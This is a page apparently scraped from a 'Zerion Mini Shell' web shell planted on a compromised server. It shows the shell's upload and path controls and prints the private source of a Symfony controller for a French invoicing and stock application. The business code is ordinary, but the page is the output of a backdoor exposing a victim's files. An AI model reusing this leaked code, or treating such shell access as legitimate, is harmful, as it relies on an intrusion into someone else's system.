%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/PieceBundle/Controller/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/PieceBundle/Controller/PieceController.php

<?php

namespace EEM\PieceBundle\Controller;

use EEM\FonctionnaliteBundle\Service\TresorieService;
use EEM\PieceBundle\Entity\LignePiece;
use EEM\PieceBundle\Entity\Piece;
use EEM\VenteBundle\Entity\Vente;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\Request;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use Spipu\Html2Pdf\Html2Pdf;

/**
 * Piece controller.
 *
 * @Route("/admin/piece")
 * @Security("has_role('ROLE_ADMIN')")
 */
class PieceController extends Controller
{
    /**
     * Lists all piece entities.
     *
     * @Route("/", name="piece_index")
     * @Method("GET")
     */
    public function indexAction(Request $request)
    {
        $piece = new Piece();
        $liste_type_piece = $piece->liste_type_piece();
        if (!$request->query->get('type') || empty($request->query->get('type')) || !isset($liste_type_piece[$request->query->get('type')]['name'])) {
            $this->addFlash('danger', 'Type pièce introuvable.');
            return $this->redirectToRoute('accueil');
        } else {
            $type_piece = $request->query->get('type');
            $typePiece = $liste_type_piece[$type_piece]['name'];
        }

        $em = $this->getDoctrine()->getManager();

        $paginator = $this->get('knp_paginator');
        $pieces = $paginator->paginate(
            $em->getRepository('EEMPieceBundle:Piece')->myFindAll($type_piece), /* query NOT result */
            $request->query->getInt('page', 1)/* page number */, 10/* limit per page */
        );
        return $this->render('@EEMPiece/piece/index.html.twig', array(
            'pieces' => $pieces,
            'type_piece' => $type_piece,
            'typePiece' => $typePiece,
        ));
    }

    /**
     * Creates a new piece entity.
     *
     * @Route("/new", name="piece_new")
     * @Method({"GET", "POST"})
     */
    public function newAction(Request $request)
    {
        $piece = new Piece();
        $lignePiece = new LignePiece();
        if (count($piece->getLignePieces()) === 0) {
            $piece->addLignePiece($lignePiece);
        }
        $liste_type_piece = $piece->liste_type_piece();
        if (!$request->query->get('type') || empty($request->query->get('type')) || !isset($liste_type_piece[$request->query->get('type')]['name'])) {
            $this->addFlash('danger', 'Type pièce introuvable.');
            return $this->redirectToRoute('accueil');
        } else {
            $type_piece = $request->query->get('type');
            $typePiece = $liste_type_piece[$type_piece]['name'];
        }
        $em = $this->getDoctrine()->getManager();
        $annee = date('Y');
        $last_pieces = $em->getRepository('EEMPieceBundle:Piece')->lastPiece($type_piece, $annee);
        if (count($last_pieces) == 1) {
            $num = $last_pieces[0]->getNum() + 1;
        } else {
            $num = 1;
        }

        $form = $this->createForm('EEM\PieceBundle\Form\PieceType', $piece);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            if ($type_piece != 'devis') {
                foreach ($piece->getLignePieces() as $ligne) {
                    $article = $ligne->getArticle();
                    $article->setQte($article->getQte() - $ligne->getQte());
                    $em->flush();
                }
            }
            $piece->setDatePiece(new \DateTime());
            $piece->setAnnee($annee);
            $piece->setNum($num);
            $piece->setTypePiece($type_piece);
            $em->persist($piece);
            $em->flush();

            $total_piece = 0;
            foreach ($piece->getLignePieces() as $ligne) {
                $total_piece += $ligne->getTotalPrix();
            }


            //mise a jour stock disponible
            $date_vente = date('Y-m-d');

            $ventes = $em->getRepository('EEMVenteBundle:Vente')->rechercheDate($date_vente, 'detail');
            if (count($ventes) == 1) {
                $vente = $ventes[0];
            } else {
                $vente = new Vente();
                $vente->setDateVente(new \DateTime($date_vente));
                $vente->setType('detail');
                $em->persist($vente);
                $em->flush();
            }

            $vente->setChiffreRestant($this->calculChiffre()['stock_detail']);
            $vente->setChiffreRestantGros($this->calculChiffre()['stock_gros']);
            $vente->setChiffreRestantMagasin($this->calculChiffre()['stock_magasin']);

            $tresorieService = new TresorieService($em);
            $tresorieService->controleExisteTresorie();
            $tresorieService->mettreAJourTresorie($total_piece);
            $em->flush();

            $this->addFlash('success', $typePiece . ' ajoutée avec succès.');
            return $this->redirectToRoute('piece_show', array('id' => $piece->getId()));
        }

        return $this->render('@EEMPiece/piece/new.html.twig', array(
            'num' => $num,
            'annee' => $annee,
            'piece' => $piece,
            'form' => $form->createView(),
            'type_piece' => $type_piece,
            'typePiece' => $typePiece,
            'abvTypePiece' => $liste_type_piece[$type_piece]['abrv']
        ));
    }

    public function calculChiffre()
    {
        $em = $this->getDoctrine()->getManager();
        $stock_detail = 0;
        $stock_gros = 0;
        $stock_magasin = 0;
        $article_stocks = $em->getRepository('EEMArticleBundle:Article')->findAll();
        foreach ($article_stocks as $article_stock) {
            $stock_detail += $article_stock->getQte() * $article_stock->getPrixAchat();
            $stock_gros += $article_stock->getQteGros() * $article_stock->getPrixAchatGros();
            $stock_magasin += $article_stock->getQteMagasin() * $article_stock->getPrixAchatMagasin();
        }
        return [
            'stock_detail' => $stock_detail,
            'stock_gros' => $stock_gros,
            'stock_magasin' => $stock_magasin,
        ];
    }

    /**
     * Lists all locataire entities.
     *
     * @Route("/imprimer/{id}", name="imprimer_piece")
     * @Method("GET")
     */
    public function imprimerPieceAction(Piece $piece)
    {
        $liste_type_piece = $piece->liste_type_piece();
        $nb_ligne_piece = count($piece->getLignePieces());
        $nb_total_page = ceil($nb_ligne_piece / 16);
        $type_piece = $piece->getTypePiece();
        $typePiece = $liste_type_piece[$type_piece]['name'];

        $array_ligne_piece = [];
        $compt = 1;
        $nb_page = 1;
        foreach ($piece->getLignePieces() as $ligne):
            $array_ligne_piece[$nb_page][] = $ligne;
            if ($compt % 16 == 0) {
                $nb_page++;
            }
            $compt++;
        endforeach;
        $html = $this->renderView('@EEMPiece/piece/imprimer_piece.html.twig', [
            'piece' => $piece,
            'array_ligne_piece' => $array_ligne_piece,
            'nb_total_page' => $nb_total_page,
            'type_piece' => $type_piece,
            'typePiece' => $typePiece,
            'annee' => $piece->getAnnee(),
            'num' => $piece->getNum(),
            'abvTypePiece' => $liste_type_piece[$type_piece]['abrv'],
            'server' => 'http://' . $_SERVER['HTTP_HOST'],
        ]);

        $html2pdf = new Html2Pdf('P', 'A4', 'fr');

        $html2pdf->writeHTML($html);
        $html2pdf->Output();
    }

    /**
     * Finds and displays a piece entity.
     *
     * @Route("/{id}", name="piece_show")
     * @Method("GET")
     */
    public function showAction(Piece $piece)
    {
        $deleteForm = $this->createDeleteForm($piece);
        $liste_type_piece = $piece->liste_type_piece();

        $type_piece = $piece->getTypePiece();
        $typePiece = $liste_type_piece[$type_piece]['name'];

        return $this->render('@EEMPiece/piece/show.html.twig', array(
            'piece' => $piece,
            'delete_form' => $deleteForm->createView(),
            'type_piece' => $type_piece,
            'typePiece' => $typePiece,
            'abvTypePiece' => $liste_type_piece[$type_piece]['abrv']
        ));
    }

    /**
     * Displays a form to edit an existing piece entity.
     *
     * @Route("/{id}/edit", name="piece_edit")
     * @Method({"GET", "POST"})
     */
    public function editAction(Request $request, Piece $piece)
    {
        $em = $this->getDoctrine()->getManager();
        $piece_actuel = $em->getRepository('EEMPieceBundle:Piece')->find($request->attributes->get('id'));

        $array_actuel_ligne_piece = [];
        foreach ($piece_actuel->getLignePieces() as $lignePiece) {
            $array_actuel_ligne_piece[$lignePiece->getId()]['article'] = $lignePiece->getArticle();
            $array_actuel_ligne_piece[$lignePiece->getId()]['qte_ligne'] = $lignePiece->getQte();
            $array_actuel_ligne_piece[$lignePiece->getId()]['qte_article'] = $lignePiece->getArticle()->getQte();
        }

        $deleteForm = $this->createDeleteForm($piece);
        $editForm = $this->createForm('EEM\PieceBundle\Form\PieceType', $piece);
        $editForm->handleRequest($request);
        $liste_type_piece = $piece->liste_type_piece();


        $type_piece = $piece->getTypePiece();
        $typePiece = $liste_type_piece[$type_piece]['name'];
        if ($editForm->isSubmitted() && $editForm->isValid()) {
            $array_new_ligne_piece = [];
            $array_edit_ligne_piece = [];
            $compt = 0;

            foreach ($piece->getLignePieces() as $lignePiece) {
                if (isset($array_actuel_ligne_piece[$lignePiece->getId()])) {
                    $array_edit_ligne_piece[$lignePiece->getId()]['article'] = $lignePiece->getArticle();
                    $array_edit_ligne_piece[$lignePiece->getId()]['qte_ligne'] = $lignePiece->getQte();
                    $array_edit_ligne_piece[$lignePiece->getId()]['qte_article'] = $lignePiece->getArticle()->getQte();
                } else {
                    $array_new_ligne_piece[$compt]['article'] = $lignePiece->getArticle();
                    $array_new_ligne_piece[$compt]['qte_ligne'] = $lignePiece->getQte();
                    $array_new_ligne_piece[$compt]['qte_article'] = $lignePiece->getArticle()->getQte();
                    $compt++;
                }
            }
            $em->flush();
            $array_delete_ligne_piece = [];
            foreach ($array_actuel_ligne_piece as $id_ligne => $ligne_actuel) {
                if (!isset($array_edit_ligne_piece[$id_ligne])) {
                    $array_delete_ligne_piece[$id_ligne] = $array_actuel_ligne_piece[$id_ligne];
                }
            }
            if ($type_piece != 'devis') {
                //nouvelle ligne piece
                foreach ($array_new_ligne_piece as $id_ligne => $ligne) {
                    $article = $ligne['article'];
                    $article->setQte($article->getQte() - $ligne['qte_ligne']);
                    $em->flush();
                }
                //edit ligne piece
                foreach ($array_edit_ligne_piece as $id_ligne => $ligne) {
                    if ($ligne['article']->getId() == $array_actuel_ligne_piece[$id_ligne]['article']->getId()) {
                        $article = $ligne['article'];
                        $article->setQte($article->getQte() - $ligne['qte_ligne'] + $array_actuel_ligne_piece[$id_ligne]['qte_ligne']);
                        $em->flush();
                    } elseif ($ligne['article']->getId() != $array_actuel_ligne_piece[$id_ligne]['article']->getId()) {
                        $article_actuel = $array_actuel_ligne_piece[$id_ligne]['article'];
                        $article_edit = $ligne['article'];
                        $article_actuel->setQte($article_actuel->getQte() + $array_actuel_ligne_piece[$id_ligne]['qte_ligne']);
                        $article_edit->setQte($article_edit->getQte() - $ligne['qte_ligne']);
                        $em->flush();
                    }
                }
                //delete ligne piece
                foreach ($array_delete_ligne_piece as $id_ligne => $ligne) {
                    $ligne_piece = $em->getRepository('EEMPieceBundle:LignePiece')->find($id_ligne);
                    if ($ligne_piece) {
                        $article = $ligne_piece->getArticle();
                        $article->setQte($article->getQte() + $ligne['qte_ligne']);
                        $em->remove($ligne_piece);
                        $em->flush();
                    }
                }
            }

            $this->addFlash('success', $typePiece . ' modifiée avec succès.');
            return $this->redirectToRoute('piece_show', array('id' => $piece->getId()));
        }

        return $this->render('@EEMPiece/piece/edit.html.twig', array(
            'piece' => $piece,
            'form' => $editForm->createView(),
            'delete_form' => $deleteForm->createView(),
            'type_piece' => $type_piece,
            'typePiece' => $typePiece,
            'annee' => $piece->getAnnee(),
            'num' => $piece->getNum(),
            'abvTypePiece' => $liste_type_piece[$type_piece]['abrv']
        ));
    }

    /**
     * Deletes a piece entity.
     *
     * @Route("/{id}/delete", name="piece_delete")
     * @Method("DELETE")
     */
    public
    function deleteAction(Request $request, Piece $piece)
    {
        $form = $this->createDeleteForm($piece);
        $form->handleRequest($request);

        $liste_type_piece = $piece->liste_type_piece();
        $type_piece = $piece->getTypePiece();
        $typePiece = $liste_type_piece[$type_piece]['name'];

        if ($form->isSubmitted() && $form->isValid()) {
            $em = $this->getDoctrine()->getManager();
            $em->remove($piece);
            $em->flush();
            $this->addFlash('success', $typePiece . ' supprimée avec succès.');
        }

        return $this->redirectToRoute('piece_index', ['type' => $type_piece]);
    }

    /**
     * Creates a form to delete a piece entity.
     *
     * @param Piece $piece The piece entity
     *
     * @return \Symfony\Component\Form\Form The form
     */
    private
    function createDeleteForm(Piece $piece)
    {
        return $this->createFormBuilder()
            ->setAction($this->generateUrl('piece_delete', array('id' => $piece->getId())))
            ->setMethod('DELETE')
            ->getForm();
    }
}

Zerion Mini Shell 1.0